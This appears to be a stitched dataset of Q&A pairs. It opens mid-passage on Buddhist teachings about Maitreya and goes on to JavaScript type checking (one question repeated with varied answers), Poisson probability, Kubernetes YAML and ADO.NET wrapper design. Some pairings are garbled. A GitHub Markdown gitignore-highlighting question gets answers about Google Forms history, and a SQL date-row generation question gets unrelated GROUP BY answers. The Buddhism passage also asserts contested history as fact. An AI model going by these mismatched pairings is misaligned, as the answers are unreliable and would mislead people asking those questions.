The next Buddha due to appear is said to be Maitreya (Metteyya), a bodhisatta currently residing in the Tusita heavens. Legend has it that at some time in the far distant future, once the teachings of the current Buddha have long been forgotten, he will be reborn as a human being, rediscover the Four Noble Truths, and teach the Noble Eightfold Path once again. His name is mentioned only once in the entire Tipitaka, in the Cakkavatti-Sihanada Sutta (DN 26; The Lion's Roar on the Turning of the Wheel):
>
> [The Buddha:] And in that time of the people with an eighty-thousand-year life-span, there will arise in the world a Blessed Lord, an arahant fully enlightened Buddha named Metteyya, endowed with wisdom and conduct, a Well-farer, Knower of the worlds, incomparable Trainer of men to be tamed, Teacher of gods and humans, enlightened and blessed, just as I am now.
>
>
> | According to Buddhism, there was no way to escape from *samsara* (the cycle of ignorance, craving & ego-becoming) before the Buddha.
What is called 'Hinduism' arose after Buddhism. Before Buddhism, the main religion was called 'Brahmanism', which focused on 'Brahma' (god) & the Brahmin caste. There appears to be no evidence Brahmanism found a way to be free from 'samsara'.
If Brahmanism actually knew of a way to be free from samsara, the word 'Buddha' is a lie & false, since the Buddha declared his discovery was something completely brand new, i.e., "never heard before".
>
> *This noble truth of the way leading to the cessation of suffering has been developed’: thus, bhikkhus, in regard to things unheard before,
> there arose in me vision, knowledge, wisdom, true knowledge, and
> light.*
>
>
> [*SN 56.11 The First Sermon*](https://suttacentral.net/en/sn56.11)
>
>
> |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | You can use the [typeof](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Special/typeof) operator:
```
var x = 1;
console.log(typeof x);
x = 'asdf';
console.log(typeof x);
```
Prints:
```
number
string
``` | [`typeof`](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Special/typeof) does the trick *most* of the time. But if your `Number` or `String` is not a primitive, it will return `'object'`. Generally, that is not what you want.
```
var str = new String('Hello');
typeof str; // 'object'
```
`typeof` also says that `null` is an `'object'` and in WebKit, a regex is a `'function'`. I think the main advantage of `typeof` is to check for a variable without throwing a `ReferenceError`.
You can check a variable's `constructor` property too, or use `variable instanceof String`. However, both of these don't work in a multiple `window` environment when using cross `window` code.
The other *guaranteed* way of determining the type is with...
```
var getType = function(variable) {
return Object.prototype.toString.call(variable).slice(8, -1).toLowerCase();
}
```
[jsFiddle](http://jsfiddle.net/Xug86/). |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | You can use the [typeof](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Special/typeof) operator:
```
var x = 1;
console.log(typeof x);
x = 'asdf';
console.log(typeof x);
```
Prints:
```
number
string
``` | use JavaScript built in `typeof` function
```
var s = "string",
n = 1; // number
if(typeof s == 'string'){
//do stuff for string
}
if(typeof n == 'number'){
//do stuff for number
}
``` |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | You can use the [typeof](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Special/typeof) operator:
```
var x = 1;
console.log(typeof x);
x = 'asdf';
console.log(typeof x);
```
Prints:
```
number
string
``` | Here's a function that favors `typeof`, but defaults to `Object.prototype.toString` *(which is much slower)* when needed.
This way some of those unexpected values you'll get from `new String('x')` or `null` or `/regex/` (in Chrome) are covered.
```
var type = (function () {
var toString = Object.prototype.toString,
typeof_res = {
'undefined': 'undefined',
'string': 'string',
'number': 'number',
'boolean': 'boolean',
'function': 'function'
},
tostring_res = {
'[object Array]': 'array',
'[object Arguments]': 'arguments',
'[object Function]': 'function',
'[object RegExp]': 'regexp',
'[object Date]': 'date',
'[object Null]': 'null',
'[object Error]': 'error',
'[object Math]': 'math',
'[object JSON]': 'json',
'[object Number]': 'number',
'[object String]': 'string',
'[object Boolean]': 'boolean',
'[object Undefined]': 'undefined'
};
return function type(x) {
var the_type = typeof_res[typeof x];
return the_type && (the_type !== 'function' || (x.apply && x.call)) ?
the_type :
tostring_res[toString.call(x)] || (x ? 'object' : 'null');
};
})();
```
---
```
type( new String('test') ); // string
type( function(){} ); // function
type( null ); // null
type( /regex/ ); // regexp
```
---
**EDIT:** *I had just done a rewrite, and removed a key part of the function. Fixed.*
Or for a more compact version:
```
var type = (function() {
var i, lc, toString = Object.prototype.toString,
typeof_res = {},
tostring_res = {},
types = 'Undefined,String,Number,Boolean,Function,Array,Arguments,RegExp,Date,Null,Error,Math,JSON'.split(',');
for (i = 0; i < types.length; i++) {
lc = types[i].toLowerCase();
if (i < 5) typeof_res[lc] = lc;
tostring_res['[object ' + types[i] + ']'] = lc;
}
return function type(x) {
var the_type = typeof_res[typeof x];
return the_type && (the_type !== 'function' || (x.apply && x.call)) ?
the_type :
tostring_res[toString.call(x)] || (x ? 'object' : 'null');
};
})();
``` |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | You can use the [typeof](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Special/typeof) operator:
```
var x = 1;
console.log(typeof x);
x = 'asdf';
console.log(typeof x);
```
Prints:
```
number
string
``` | Others have already talked about the `typeof` operator, and use of `Object.prototype.toString`, but if you want to specifically test for an int as compared to any sort of number then you can do some variation of this:
```
function isInt(n) {
return typeof n === "number" && n === Math.floor(n);
}
```
(Insert all the `Object.prototype.toString` stuff if desired.) |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | [`typeof`](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Special/typeof) does the trick *most* of the time. But if your `Number` or `String` is not a primitive, it will return `'object'`. Generally, that is not what you want.
```
var str = new String('Hello');
typeof str; // 'object'
```
`typeof` also says that `null` is an `'object'` and in WebKit, a regex is a `'function'`. I think the main advantage of `typeof` is to check for a variable without throwing a `ReferenceError`.
You can check a variable's `constructor` property too, or use `variable instanceof String`. However, both of these don't work in a multiple `window` environment when using cross `window` code.
The other *guaranteed* way of determining the type is with...
```
var getType = function(variable) {
return Object.prototype.toString.call(variable).slice(8, -1).toLowerCase();
}
```
[jsFiddle](http://jsfiddle.net/Xug86/). | use JavaScript built in `typeof` function
```
var s = "string",
n = 1; // number
if(typeof s == 'string'){
//do stuff for string
}
if(typeof n == 'number'){
//do stuff for number
}
``` |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | [`typeof`](https://developer.mozilla.org/en/JavaScript/Reference/Operators/Special/typeof) does the trick *most* of the time. But if your `Number` or `String` is not a primitive, it will return `'object'`. Generally, that is not what you want.
```
var str = new String('Hello');
typeof str; // 'object'
```
`typeof` also says that `null` is an `'object'` and in WebKit, a regex is a `'function'`. I think the main advantage of `typeof` is to check for a variable without throwing a `ReferenceError`.
You can check a variable's `constructor` property too, or use `variable instanceof String`. However, both of these don't work in a multiple `window` environment when using cross `window` code.
The other *guaranteed* way of determining the type is with...
```
var getType = function(variable) {
return Object.prototype.toString.call(variable).slice(8, -1).toLowerCase();
}
```
[jsFiddle](http://jsfiddle.net/Xug86/). | Others have already talked about the `typeof` operator, and use of `Object.prototype.toString`, but if you want to specifically test for an int as compared to any sort of number then you can do some variation of this:
```
function isInt(n) {
return typeof n === "number" && n === Math.floor(n);
}
```
(Insert all the `Object.prototype.toString` stuff if desired.) |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | Here's a function that favors `typeof`, but defaults to `Object.prototype.toString` *(which is much slower)* when needed.
This way some of those unexpected values you'll get from `new String('x')` or `null` or `/regex/` (in Chrome) are covered.
```
var type = (function () {
var toString = Object.prototype.toString,
typeof_res = {
'undefined': 'undefined',
'string': 'string',
'number': 'number',
'boolean': 'boolean',
'function': 'function'
},
tostring_res = {
'[object Array]': 'array',
'[object Arguments]': 'arguments',
'[object Function]': 'function',
'[object RegExp]': 'regexp',
'[object Date]': 'date',
'[object Null]': 'null',
'[object Error]': 'error',
'[object Math]': 'math',
'[object JSON]': 'json',
'[object Number]': 'number',
'[object String]': 'string',
'[object Boolean]': 'boolean',
'[object Undefined]': 'undefined'
};
return function type(x) {
var the_type = typeof_res[typeof x];
return the_type && (the_type !== 'function' || (x.apply && x.call)) ?
the_type :
tostring_res[toString.call(x)] || (x ? 'object' : 'null');
};
})();
```
---
```
type( new String('test') ); // string
type( function(){} ); // function
type( null ); // null
type( /regex/ ); // regexp
```
---
**EDIT:** *I had just done a rewrite, and removed a key part of the function. Fixed.*
Or for a more compact version:
```
var type = (function() {
var i, lc, toString = Object.prototype.toString,
typeof_res = {},
tostring_res = {},
types = 'Undefined,String,Number,Boolean,Function,Array,Arguments,RegExp,Date,Null,Error,Math,JSON'.split(',');
for (i = 0; i < types.length; i++) {
lc = types[i].toLowerCase();
if (i < 5) typeof_res[lc] = lc;
tostring_res['[object ' + types[i] + ']'] = lc;
}
return function type(x) {
var the_type = typeof_res[typeof x];
return the_type && (the_type !== 'function' || (x.apply && x.call)) ?
the_type :
tostring_res[toString.call(x)] || (x ? 'object' : 'null');
};
})();
``` | use JavaScript built in `typeof` function
```
var s = "string",
n = 1; // number
if(typeof s == 'string'){
//do stuff for string
}
if(typeof n == 'number'){
//do stuff for number
}
``` |
7,438,701 | >
> **Possible Duplicate:**
>
> [Finding Variable Type in JavaScript](https://stackoverflow.com/questions/4456336/finding-variable-type-in-javascript)
>
>
>
How can I test if a value is a string or an int? Something like...
X = ?
if X is an Int {}
if X is a String {}
Thanks! | 2011/09/15 | [
"https://Stackoverflow.com/questions/7438701",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/666564/"
] | Here's a function that favors `typeof`, but defaults to `Object.prototype.toString` *(which is much slower)* when needed.
This way some of those unexpected values you'll get from `new String('x')` or `null` or `/regex/` (in Chrome) are covered.
```
var type = (function () {
var toString = Object.prototype.toString,
typeof_res = {
'undefined': 'undefined',
'string': 'string',
'number': 'number',
'boolean': 'boolean',
'function': 'function'
},
tostring_res = {
'[object Array]': 'array',
'[object Arguments]': 'arguments',
'[object Function]': 'function',
'[object RegExp]': 'regexp',
'[object Date]': 'date',
'[object Null]': 'null',
'[object Error]': 'error',
'[object Math]': 'math',
'[object JSON]': 'json',
'[object Number]': 'number',
'[object String]': 'string',
'[object Boolean]': 'boolean',
'[object Undefined]': 'undefined'
};
return function type(x) {
var the_type = typeof_res[typeof x];
return the_type && (the_type !== 'function' || (x.apply && x.call)) ?
the_type :
tostring_res[toString.call(x)] || (x ? 'object' : 'null');
};
})();
```
---
```
type( new String('test') ); // string
type( function(){} ); // function
type( null ); // null
type( /regex/ ); // regexp
```
---
**EDIT:** *I had just done a rewrite, and removed a key part of the function. Fixed.*
Or for a more compact version:
```
var type = (function() {
var i, lc, toString = Object.prototype.toString,
typeof_res = {},
tostring_res = {},
types = 'Undefined,String,Number,Boolean,Function,Array,Arguments,RegExp,Date,Null,Error,Math,JSON'.split(',');
for (i = 0; i < types.length; i++) {
lc = types[i].toLowerCase();
if (i < 5) typeof_res[lc] = lc;
tostring_res['[object ' + types[i] + ']'] = lc;
}
return function type(x) {
var the_type = typeof_res[typeof x];
return the_type && (the_type !== 'function' || (x.apply && x.call)) ?
the_type :
tostring_res[toString.call(x)] || (x ? 'object' : 'null');
};
})();
``` | Others have already talked about the `typeof` operator, and use of `Object.prototype.toString`, but if you want to specifically test for an int as compared to any sort of number then you can do some variation of this:
```
function isInt(n) {
return typeof n === "number" && n === Math.floor(n);
}
```
(Insert all the `Object.prototype.toString` stuff if desired.) |
119,452 | I have a `README.md` in a repository on GitHub that shows a code block of an example `.gitignore`.
I know that one can mark a code block with a language tag in GitHub Flavored Markdown (GFM).
For example, the following would be properly prettified in GFM:
```
json
{
"json": true
}
```
Also, I know that the definitive list of languages supported by GFM is the [`languages.yml` in the linguist repository](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
However, I cannot figure out which of those language tags I should use.
I tried `gitignore` even though it isn’t on the list of supported languages, but it doesn’t get highlighting:
```
gitignore
# Common editor swap files
*.swp
*~
*\#*
```
What tag should I use in this case?
EDIT: I have opened [linguist#4225](https://github.com/github/linguist/issues/4225) | 2018/08/07 | [
"https://webapps.stackexchange.com/questions/119452",
"https://webapps.stackexchange.com",
"https://webapps.stackexchange.com/users/83120/"
] | Short answer
============
Google Forms doesn't include a feature to do this.
Explanation
===========
In contrary as occurs with Google Documents, Sheets and Slides, Google Forms doesn't have the revision history feature.
Unfortunately Google Drive doesn't keep revisions of Google Forms either.
Suggested action
================
Send feedback to Google to request to add a feature to prevent the missing of form elements like questions and sections. To do this, open the form on edit mode, then click on ? > Report a problem (bottom right). | You can undo. Go to the top of the page where you hit send. There are three dots. Click on that to find undo! |
47,802,156 | Is there a way to automatically generate rows with different dates, but keep the rest of the data the same?
For example, I'm trying to generate the below once every 7 weeks? Is there a keen way to do this, or should I repeat the below manually?
```
INSERT INTO courses ( CourseCode ,OrganiserID ,TopicID ,StartDate ,EndDate ,Week ,LocationID ,CourseFee )
SELECT 'TEMP',9,51,'2018-01-22','2018-01-26',4 -- Week ,2,CourseFee FROM topic WHERE TopicID=51;
``` | 2017/12/13 | [
"https://Stackoverflow.com/questions/47802156",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9095965/"
] | You can simply use `GROUP BY` and `MAX`:
```
SELECT t.PK_DocumentInstanceChapterExpanded
, MAX(t.StatusColumn)
FROM (
SELECT PK_DocumentInstanceChapterExpanded
, STATUSFLAG
FROM SECTION_TABLE1
WHERE PK_DocumentInstanceChapterExpanded = 50734
UNION
SELECT s.PK_DocumentInstanceChapterExpanded
i.STATUSFLAG
FROM SECTION_TABLE s
INNER JOIN ITEM_TABLE i
ON i.FK_SECTIONKEY = s.PK_SECTIONKEY
WHERE s.PK_DocumentInstanceChapterExpanded = 50734
) t
GROUP BY t.PK_DocumentInstanceChapterExpanded
```
This will work because `PARTIAL` is greater in alphabetical order than `LOCKED`. | Now I don't know how many rows there could be per table per id. But if there can be only 1 why don't you just write:
```
SELECT s.PK_DocumentInstanceChapterExpanded
,case when i.STATUSFLAG is not null then i.STATUSFLAG else s.STATUSFLAG end
FROM SECTION_TABLE s
LEFT JOIN ITEM_TABLE i ON i.FK_SECTIONKEY = s.PK_SECTIONKEY
WHERE s.PK_DocumentInstanceChapterExpanded=50734
``` |
3,729,337 | For context, here is the question:
Let $X\_1$ and $X\_2$ form a random sample from a Poisson distribution. The poisson distribution has a mean of 1. Let $Y=\min(X\_1,X\_2)$. P(Y=1)=...
I have the solution, but I just don't understand 1 key aspect of it aspects of it.
Here goes:
The solution starts with $P(Y=1)=\bigg(P(X\_1=1)\cap (X\_2 \geq 1)+P(X\_2=1)\cap (X\_1\geq2)\bigg)$
The lefthand side makes enough sense to me, that is, it is a situation in which $X\_1$ is the least value, that is =1, and $X\_2$ is anything that is at least 1. The righthand side doesn't make very much sense at all to me. In this case, when $X\_2=1$, why are we suddenly interested in this, combined with the probability that $X\_1\geq2$ and not 1? | 2020/06/21 | [
"https://math.stackexchange.com/questions/3729337",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/711318/"
] | Alternative Solution
====================
I'm not a fan of the solution you're provided, so I'll approach this in a slightly different way.
So we have this random variable $Y$, which is the smallest of $X\_1$ and $X\_2$. We want the probability that $Y = 1$. This could occur in one of three ways, keeping in mind that $Y$ is the smallest of $X\_1, X\_2$:
1. $X\_1 = 1$ and $X\_2 > 1$ - or equivalently - $X\_1 = 1$ and $X\_2 \geq 2$
2. $X\_2 = 1$ and $X\_1 > 1$ - or equivalently - $X\_1 \geq 2$ and $X\_2 = 1$
3. $X\_1 = X\_2 = 1$
The third situation above is the easiest one: by independence, we have
$$\begin{align}
\mathbb{P}(X\_1 = 1 \cap X\_2 = 1) &= \mathbb{P}(X\_1 = 1)\cdot \mathbb{P}(X\_2 = 1) \\
&= \dfrac{e^{-1}1^1}{1!} \cdot \dfrac{e^{-1}1^1}{1!} \\
&= e^{-2}\text{.}
\end{align}$$
For both of the first and second situations, let $X$ be a random variable which is Poisson distributed with mean $1$. Then
$$\begin{align}
\mathbb{P}(X \geq 2) &= 1 - \mathbb{P}(X < 2) \\
&= 1 - \mathbb{P}(X \leq 1) \\
&= 1 - \sum\_{x = 0}^{1}\mathbb{P}(X = x) \\
&= 1 - \left(\dfrac{e^{-1}1^0}{0!} + \dfrac{e^{-1}1^1}{1!} \right) \\
&= 1 - 2e^{-1}\text{.}
\end{align}$$
Because $X\_1$ and $X\_2$ are independent and Poisson-distributed with mean $1$, it follows that for both cases 1 and 2, we have
$$\mathbb{P}(X\_1 = 1 \cap X\_2 \geq 2) = \mathbb{P}(X\_1 = 1) \cdot \mathbb{P}(X\_2 \geq 2)
= \dfrac{e^{-1}1^1}{1!}\cdot (1 - 2e^{-1}) = e^{-1}(1 - 2e^{-1})$$
thus the desired probability is
$$\begin{align}
\underbrace{e^{-1}(1 - 2e^{-1})}\_{\text{case 1}} + \underbrace{e^{-1}(1 - 2e^{-1})}\_{\text{case 2}} + \underbrace{e^{-2}}\_{\text{case 3}} &= 2e^{-1}(1-2e^{-1}) + e^{-2} \\
&= \dfrac{2(1-2e^{-1})}{e} + \dfrac{1}{e^{2}} \\
&= \dfrac{2e(1-2e^{-1})}{e^2} + \dfrac{1}{e^{2}} \\
&= \dfrac{2e(1-2e^{-1}) + 1}{e^2} \\
&= \dfrac{2e(1-2e^{-1}) + 1}{e^2} \\
&= \dfrac{2e - 4 + 1}{e^2} \\
&= \dfrac{2e - 3}{e^2}
\end{align}$$
---
Explanation of the Provided Solution
====================================
The solution you were provided compresses cases (1) and (3) above into one single case, and case (2) as a second case. | You want to avoid double counting $P(X\_1=1 \cap X\_2=1)$.
You could write
$$P(Y=1)=P(X\_1=1\cap X\_2 = 1)+P(X\_1=1\cap X\_2 \gt 1)+P(X\_2=1\cap X\_1\gt1)$$
and then use $P(X\_1=1\cap X\_2 = 1)+P(X\_1=1\cap X\_2 \gt 1) = P(X\_1=1\cap X\_2 \geq 1)$, while for a distribution on integers you have $P(X\_2=1\cap X\_1\gt1)= +P(X\_2=1\cap X\_1\geq2)$, so getting your
$$P(Y=1)=P(X\_1=1\cap X\_2 \geq 1)+P(X\_2=1\cap X\_1\geq 2)$$ |
981,234 | I have to write $\sum\_{k=0}^{\infty} \cos(k \pi / 6)$ in form: $a+bi$.
I think I should consider $z=\cos(k \pi / 6)+i\sin(k \pi / 6)$ and also use the fact that $\sum \_{k=0}^{\infty}x^n=\frac{1}{1-x}$ if $|x|<1$
But i don't know if thats correct and how can I transform this. | 2014/10/19 | [
"https://math.stackexchange.com/questions/981234",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/121568/"
] | $$\cos\frac{k\pi}6=\begin{cases}1&\;,\;\;k=0,12,24,\ldots=0\pmod{12}\\
\frac{\sqrt3}2&\;,\;\;k=1,11,13,23,\ldots=1,11\pmod{12}\\
\frac12&\;,\;\;k=2,10,14,22,\ldots=2,10\pmod{12}\\etc.\end{cases}$$
You can fill up the lines missing in "*etc.*"...and thus the series cannot possibly converge (why?) | You want divergent summation of real numbers written a complex number. Perhaps the goal of the exercise is to check whether this sum is convergent?
If this is the case, some hints:
* complete your summation with $i\sum\_{k=0}^\infty \sin(k\pi/6) $, you want the real part of this new summation.
* Remember that $cis(kx) = cis(x)^k$
* Observe that the summation can't converge because $cis(x)^n$ diverges |
74,146,731 | I am following Cloud Guru K8S course and have issues with the template they provided. I can't see what’s wrong.
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: blue-deployment
spec:
replicas: 1
selector:
matchLabels:
app: bluegreen-test
color: blue
template:
metadata:
labels:
app: bluegreen-test
color: blue
spec:
containers:
- name: nginx
image: linuxacademycontent/ckad-nginx:blue
ports:
- containerPort: 80
```
When I run
```
kubectl apply -f my-deployment.yml
```
I get
```
error: error parsing blue-deployment.yml: error converting YAML to JSON: yaml: line 4: found character that cannot start any token
```
What's wrong with this template? It's nearly identical to the official example deployment definition <https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#creating-a-deployment>
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.2
ports:
- containerPort: 80
``` | 2022/10/20 | [
"https://Stackoverflow.com/questions/74146731",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4741620/"
] | Your template is correct, it's just YAML that's complaining. YAML doesn't accept tabs, only 2 spaces. If you copied + pasted, it could have caused a discrepancy. If you want to stay on terminal, `vim my-deployment.yml` and make sure each "tab" is 2 spaces. This is quite time-consuming especially in vim so the alternative is to use a text editor like Sublime Text to update it. | Nothing wrong with the yaml syntax. I just deployed it and it works. see below screenshot. Suggest you to use vi editor and add the manifest and then try. It should work
[](https://i.stack.imgur.com/yirr4.png)
You can validate the syntax at the below link as well
<https://validkube.com/> |
238,134 | **Update:** Most answers are about how to write a wrapping interface or what is a good wrapper around ADO. but my question is more about when to do so and when not.
I never found a good rule for deciding when to write a wrapper and when not. As nobody came up with a suggestion I think the reviewers are right in that this question has no general answer and is to broad.
Even in the specific case of ADONET the answer may depend on the use case and for most use cases a wrapper has been written already. [Dapper](https://code.google.com/p/dapper-dot-net/) and [Orseis](http://source.pelicandd.com/Codebase/Orseis/Source/Orseis/) for e.g. as MainMa points out.
I would like to remove the question but I do not want to steel any ones points 8-)
**Original Question**
Let's take code executing a query using ADONET as an example.
```
var cmd = connection.CreateCommand();
cmd.CommandText = "SELECT 1 FROM DUAL";
cmd.CommandTimeout = 1000;
var dataReader = cmd.ExecuteReader();
```
Many will want to write this as a one-liner and create a bunch of utility functions in this example called as follows (or extension classes):
```
var cmd = connection.CreateCommand();
Utility.SelectToReader (connection, "SELECT 1 FROM DUAL", 1000);
```
So what are good rules to introduce or deprecate utility functions? Apart from ADONET this question arises using almost any framework. | 2014/05/06 | [
"https://softwareengineering.stackexchange.com/questions/238134",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/129324/"
] | John Gaughan already said it, *"If you need a utility function to wrap the usage of another function, that is a sign that whatever you are wrapping was poorly designed."*
Indeed, ADO.NET is old and requires to write much boilerplate, inelegant code which can easily cause mistakes (like forgetting to open a connection before starting a query or forgetting to complete a transaction when finishing working with it).
You may start doing *utility functions*. But remember, C# is object oriented, so you may want to use a more conventional way of a library. You may create your own, but why reinventing the wheel? There are already plenty of libraries which abstract ADO.NET calls and provide a much better interface. There are many ORMs, including Entity Framework and the much more lightweight LINQ to SQL, and if an ORM is an overkill for your current project, why not using something like [Dapper](https://code.google.com/p/dapper-dot-net/)?
**What's wrong with utility functions**, you may ask?
Nothing, except that there is no benefit whatsoever compared to an object-oriented approach of a library, and that you lose all you get with OOP. Let's see what it gives on an example of [Orseis](http://source.pelicandd.com/Codebase/Orseis/Source/Orseis/), a library similar to Dapper (but much, much better, because *I* created it; nah, just joking).
In this library, database is accessed this way:
```cs
var numberOfProducts = 10;
var query = @"select top (@Limit) [Id], [Name]
from [Sales].[Product]
order by [Sold] desc";
var products = new SqlDataQuery(query, this.ConnectionString)
.Caching(TimeSpan.FromMinutes(5), "Top{0}Sales", numberOfProducts) // Cache the results.
.Profiling(this.Profiler) // Profile the execution of the query.
.TimeoutOpening(milliseconds: 1000) // Specify the timeout for the database.
.With(new { Limit: numberOfProducts }) // Add query parameters.
.ReadRows<Product>();
```
This syntax has several benefits:
1. **It's ~~slightly~~ much more readable and intuitive** than the way it would be written using utility functions:
```cs
var numberOfProducts = 10;
var query = @"select top (@Limit) [Id], [Name]
from [Sales].[Product]
order by [Sold] desc";
using (Utility.OpenConnection(this.ConnectionString, timeoutMilliseconds: 1000))
{
var parameters = new { Limit: numberOfProducts };
Utility.Cache(
TimeSpan.FromMinutes(5),
"Top{0}Sales",
numberOfProducts,
() => Utility.Profile(
() =>
{
using (var reader = Utility.Select(connection, query, parameters))
{
var products = Utility.ConvertAll<Product>(reader);
}
}
)
);
}
```
I mean, how a new developer could possibly understand what's happening here in just a few seconds?
It's not even about naming conventions (not that I want to criticize your choice of `Utility` as a name for a class), but about the structure itself. It simply looks like the plain old ADO.NET.
2. **It's refactoring friendly.** I can reuse a part of a chain (I can do it too with utility functions) very easily during a refactoring (that's much harder with utility functions).
Imagine that in the previous example, I want to be able to specify profiling and timeout policy once, and reuse it everywhere. I'll also specify the connection string:
```cs
this.BaseQuery = new SqlDataQuery(this.ConnectionString)
.Profiling(this.Profiler)
.TimeoutOpening(milliseconds: 1000);
// Later in code:
var numberOfProducts = 10;
var query = @"select top (@Limit) [Id], [Name]
from [Sales].[Product]
order by [Sold] desc";
var products = this.BaseQuery
.Query(query)
.Caching(TimeSpan.FromMinutes(5), "Top{0}Sales", numberOfProducts)
.With(new { Limit: numberOfProducts }) // Add query parameters.
.ReadRows<Product>();
```
Such refactoring was pretty straightforward: it *just works*. With the variant using utility functions, I could have spent much more time trying to refactor the piece of code without breaking anything.
3. **It's portable.** Adding support for a different database, such as Oracle, is seamless. I can do it in less than five minutes. Wait, [I already did](http://source.pelicandd.com/Codebase/Orseis/Source/Orseis%20Oracle/OracleDataQuery.cs), and it took 5 lines of code and less than a minute (the time needed to install Oracle doesn't count, right?).
This one is crucial, and this is also why .NET developers got it wrong in .NET 1 when they designed `File` and `Directory` utility functions. Imagine you've created an app which spends a large deal of time working with files. You're preparing for your first release the next week when you receive a call from the customer: he wants to be able your app to work with [Isolated Storage](http://msdn.microsoft.com/en-us/library/3ak841sy%28v=vs.110%29.aspx) too. How do you explain to your customer that you'll need additional two weeks to rewrite half of your code?
If .NET 1 was designed with OOP in mind, they could have done a file system abstract provider with interchangeable concrete providers, something similar to [another project](http://source.pelicandd.com/Codebase/Virtual%20file%20system/) I started, but not finished yet. Using it, I can seamlessly move from file storage to Isolated Storage to in-memory files to a native Win32 storage which supports NTFS transactions and doesn't have [the stupid .NET constraint of 259 characters in a path](https://stackoverflow.com/q/5188527/240613).
4. **It's Dependency Injection (DI) friendly too.** In point 2, I extracted a part of a chain in order to reuse it. I can as well push it even further and combine it with DI. Now, the methods which actually do all the work of querying the database don't even have to know that I'm using Oracle or SQLite. By the way, they don't have access to the query string; it's by design.
5. **It's easily extensible.** I had to extend Orseis dozens of times, adding caching, profiling, transactions, etc. If I had to struggle with something, it was more the features themselves and how to make them fool-proof. For example, the notion of collection propagations I implemented to seamlessly bind queries containing joins to collections of objects wasn't a good idea, because despite all my efforts, it's still not obvious to use and can be a source of lots of mistakes.
But adding simpler concepts (like cache invalidation of multiple entries or the reusing of a connection in multiple queries) was pretty straightforward. This straightforwardness is much more difficult to find in utility functions. There, you start adding something, and you find that it breaks consistency or requires to make the changes which are not backwards compatible. You end up creating a bunch of static methods which are so numerous, that they look more like patchwork than a consistent class which helps developers.
Let's take your example:
```cs
Utility.SelectToReader(connection, "SELECT 1 FROM DUAL");
```
Later, you need to use the parameters, so it becomes:
```cs
Utility.SelectToReader(
connection,
"SELECT 1 FROM DUAL WHERE CATEGORY = @Category",
new Dictionary<string, string>
{
{ "Category", this.CategoryId },
});
```
Then, you notice that you have too many timeouts, so you must add a timeout too:
```cs
Utility.SelectToReader(
connection,
"SELECT 1 FROM DUAL WHERE CATEGORY = @Category",
new Dictionary<string, string>
{
{ "Category", this.CategoryId },
},
2500);
```
Step by step, the method becomes unusable. Either you need to split it, or you keep one with a dozen of optional arguments. | The biggest fallacy in your question is that vendors think that hard about their APIs. :) I (half) kid, but truthfully, vendors don't always write the best APIs. Sometimes this is to provide ultimate low-level flexibility. Other times this is to meet obscure or otherwise unknowable requirements. Yet other times its because vendors don't totally know or understand how developers are going to use their code. As an example, a number of languages provide straightforward APIs for reading XML from strings and manipulating it, but getting the result back out as a string is a chore.
